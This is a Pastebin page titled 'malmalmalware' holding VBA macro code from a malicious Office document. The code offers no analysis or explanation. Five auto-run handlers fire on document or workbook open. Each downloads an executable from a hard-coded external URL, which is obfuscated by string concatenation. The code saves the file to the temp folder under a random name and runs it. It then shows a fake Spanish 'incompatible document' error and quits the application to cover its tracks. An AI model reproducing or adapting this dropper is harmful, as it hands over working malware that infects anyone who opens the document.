SHARE
TWEET

malmalmalware

a guest Aug 26th, 2014 407 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Private Sub AutoExec()
  2. Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "ds8fydsa89f7." & "ex" & "e")
  3. End Sub
  4. Private Sub Workbook_Open()
  5. Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "rsd54tgs." & "ex" & "e")
  6. End Sub
  7. Private Sub Document_Open()
  8. Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "hjhhjhjhjhj." & "ex" & "e")
  9. End Sub
  10. Private Sub AutoOpen()
  11. Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "fsfsfsdsd." & "ex" & "e")
  12. End Sub
  13. Private Sub Auto_Open()
  14. Call DownloadFile(0, "h" & "t" & "t" & "p" & ":" & "/" & "/" & "www.intertecno.cl/soporte/Connections/silver/ss.e" & "xe", "4b646n46." & "ex" & "e")
  15. End Sub
  16.  
  17. Public Function DownloadFile(ByVal ns1 As Integer, ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
  18.     On Error Resume Next
  19.     Err.Clear
  20.  
  21.     Set XML = CreateObject("Microsoft.XMLHTTP")
  22.     Set ADS = CreateObject("ADODB.Stream")
  23.  
  24.     XML.Open "GET", URL, False
  25.     XML.send
  26.  
  27.     XML.getAllResponseHeaders
  28.  
  29.     FullSavePath = Environ(SavePath) & "\" & SaveName
  30.  
  31.     ADS.Open
  32.     ADS.Type = 1
  33.     ADS.Write XML.responseBody
  34.     ADS.SaveToFile FullSavePath, 2
  35.  
  36.     Shell FullSavePath, vbNormalFocus
  37.    
  38.     MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Error"
  39.  
  40.     Application.DisplayAlerts = False
  41.     Application.Quit
  42.     DownloadFile = True
  43. End Function
RAW Paste Data
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top